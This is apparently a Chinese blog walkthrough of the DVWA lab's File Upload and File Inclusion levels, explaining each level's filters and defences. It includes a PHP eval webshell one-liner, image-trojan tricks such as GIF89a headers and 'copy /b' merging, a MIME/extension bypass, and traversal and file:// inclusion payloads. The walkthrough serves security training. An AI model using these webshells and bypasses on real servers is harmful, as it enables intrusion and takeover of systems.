天天看點

DVWA--File Upload+DVWA--File InclusionDVWA–File Upload+DVWA–File InclusionDVWA–File Inclusion

DVWA–File Upload+DVWA–File Inclusion

文章目錄

  • DVWA--File Upload+DVWA--File Inclusion
    • Low
    • Medium
    • High
      • 圖檔木馬制作
          • 方法一:GIF89a
          • 方法二:圖檔合并
          • 方法三:版權資訊
    • Impossible
  • DVWA--File Inclusion
    • 相關配置
    • Low
    • Medium
        • 本地檔案包含
    • High
    • Impossible

Low

檢視源碼

DVWA--File Upload+DVWA--File InclusionDVWA–File Upload+DVWA–File InclusionDVWA–File Inclusion

就是簡單的修改檔案路徑至…/…/hackable/uploads/ ,但是并未對檔案進行任何過濾,那麼我們試試上傳一句話木馬吧!

DVWA--File Upload+DVWA--File InclusionDVWA–File Upload+DVWA–File InclusionDVWA–File Inclusion
DVWA--File Upload+DVWA--File InclusionDVWA–File Upload+DVWA–File InclusionDVWA–File Inclusion

上傳成功

使用工具 中國蟻劍

DVWA--File Upload+DVWA--File InclusionDVWA–File Upload+DVWA–File InclusionDVWA–File Inclusion

Medium

檢視源碼

DVWA--File Upload+DVWA--File InclusionDVWA–File Upload+DVWA–File InclusionDVWA–File Inclusion

限制了Mime類型隻能是image/jpg與image/png.

方法一:上傳一句話木馬 1.php  ,抓包修改Content-Type
方法二:上傳一句話木馬 1.png ,抓包修改為 1.php
           

以方法二為例:

DVWA--File Upload+DVWA--File InclusionDVWA–File Upload+DVWA–File InclusionDVWA–File Inclusion
DVWA--File Upload+DVWA--File InclusionDVWA–File Upload+DVWA–File InclusionDVWA–File Inclusion
DVWA--File Upload+DVWA--File InclusionDVWA–File Upload+DVWA–File InclusionDVWA–File Inclusion

High

檢視源碼

DVWA--File Upload+DVWA--File InclusionDVWA–File Upload+DVWA–File InclusionDVWA–File Inclusion
strrpos(string,find,start)函數:
string 	必需。規定被搜尋的字元串
find 	必需。規定要查找的字元
start 	可選。規定在何處開始搜尋
傳回值:傳回字元串在另一字元串中最後一次出現的位置,如果沒有找到字元串則傳回 FALSE。
注釋: 字元串位置從 0 開始,不是從 1 開始。

相關函數:
stripos() - 查找字元串在另一字元串中第一次出現的位置(不區分大小寫)
strpos() - 查找字元串在另一字元串中第一次出現的位置(區分大小寫)
strripos() - 查找字元串在另一字元串中最後一次出現的位置(不區分大小寫)
           
strtolower(string)函數:
把所有字元轉換為小寫
substr(string,start,length)函數:
傳回字元串的一部分
string 	必需。規定要傳回其中一部分的字元串
start 	必需。規定在字元串的何處開始
length 	可選。規定要傳回的字元串長度。預設是直到字元串的結尾
傳回值:傳回字元串的提取部分,如果失敗則傳回 FALSE,或者傳回一個空字元串
           
getimagesize() 函數:
會測定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 圖像檔案的大小并傳回 圖像的尺寸 以及 檔案類型 及圖檔 高度 與 寬度
成功傳回一個數組,失敗則傳回 FALSE 并産生一條 E_WARNING 級的錯誤資訊
           

getimagesize( $uploaded_tmp ) 相當于檢驗了上傳檔案的内容,檢測其是否真的是一張圖檔。此時就不能直接上傳一句話木馬了。

圖檔木馬制作

方法一:GIF89a
GIF89a
<?php
phpinfo();
?>
           
方法二:圖檔合并
圖檔合并:
指令:
copy 1.jpg/b+phpinfo.php/a hack.jpg
将圖檔1.jpg 以二進制的方式打開,與.php 檔案phpinfo.php進行合并(相當于将php檔案内容寫入圖檔檔案),轉換為ascii碼值,重命名為hack.jpg
           
方法三:版權資訊
圖檔右鍵->屬性->詳細資訊->版權中寫入
<?php eval($_POST['aaa']); ?>
           

方法一示例:

DVWA--File Upload+DVWA--File InclusionDVWA–File Upload+DVWA–File InclusionDVWA–File Inclusion

在File Inclusion–Low下利用:

DVWA--File Upload+DVWA--File InclusionDVWA–File Upload+DVWA–File InclusionDVWA–File Inclusion

Impossible

DVWA--File Upload+DVWA--File InclusionDVWA–File Upload+DVWA–File InclusionDVWA–File Inclusion
uniqid():
生成一個唯一的 ID
ini_get():
取環境變量的值
imagecreatefromjpeg():
由檔案或 URL 建立一個新圖象
imagejpeg (image,filename,int quality)
從 image 圖像以 filename 為檔案名建立一個 JPEG 圖,。image 參數是 imagecreatetruecolor() 函數的傳回值。
           

對上傳的檔案進行了重新建立,重新命名并且加密,同時也阻止了00截斷與csrf漏洞

DVWA–File Inclusion

相關配置

本地檔案包含 (LFI):可以讀取與打開本地檔案

遠端檔案包含 (RFI)(HTTP,FTP,PHP僞協定):可以遠端加載檔案

php.ini檔案:
本地:allow_url_fopen=On/Off
遠端:allow_url_include-On/Off
           

Low

檢視源碼

DVWA--File Upload+DVWA--File InclusionDVWA–File Upload+DVWA–File InclusionDVWA–File Inclusion
DVWA--File Upload+DVWA--File InclusionDVWA–File Upload+DVWA–File InclusionDVWA–File Inclusion
DVWA--File Upload+DVWA--File InclusionDVWA–File Upload+DVWA–File InclusionDVWA–File Inclusion
DVWA--File Upload+DVWA--File InclusionDVWA–File Upload+DVWA–File InclusionDVWA–File Inclusion

沒有任何過濾,并且可以發現點選每個檔案後,其url中參數随之變化,那我們直接按照思路繼續在url上進行操作,更改為4

DVWA--File Upload+DVWA--File InclusionDVWA–File Upload+DVWA–File InclusionDVWA–File Inclusion

再往後發現檔案已經不存在了

DVWA--File Upload+DVWA--File InclusionDVWA–File Upload+DVWA–File InclusionDVWA–File Inclusion

Medium

檢視源碼

DVWA--File Upload+DVWA--File InclusionDVWA–File Upload+DVWA–File InclusionDVWA–File Inclusion

1.對遠端檔案包含進行了過濾

2.對…/的使用進行了過濾

解決:雙寫繞過

本地檔案包含

包含不存在檔案擷取路徑

DVWA--File Upload+DVWA--File InclusionDVWA–File Upload+DVWA–File InclusionDVWA–File Inclusion

建立如下本地檔案

DVWA--File Upload+DVWA--File InclusionDVWA–File Upload+DVWA–File InclusionDVWA–File Inclusion

通路

?page=..././mytest/phpinfo.php
?page=D:\phpstudy_pro\WWW\DVWA-master\vulnerabilities\mytest\phpinfo.php
           

High

檢視源碼

DVWA--File Upload+DVWA--File InclusionDVWA–File Upload+DVWA–File InclusionDVWA–File Inclusion
fnmatch(pattern,string,flags)函數:
根據指定的模式來比對檔案名或字元串
pattern  必需。規定要檢索的模式
string 	 必需。規定要檢查的字元串或檔案
flags 	 可選
           

要求包含的檔案必須以 file 開頭

那可通過file協定包含本地檔案

?page=file://D:\phpstudy_pro\WWW\DVWA-master\vulnerabilities\mytest\phpinfo.php
           

Impossible

檢視源碼

DVWA--File Upload+DVWA--File InclusionDVWA–File Upload+DVWA–File InclusionDVWA–File Inclusion

将包含的檔案名寫死了,隻能是file1.php,file2.php,file3.php

繼續閱讀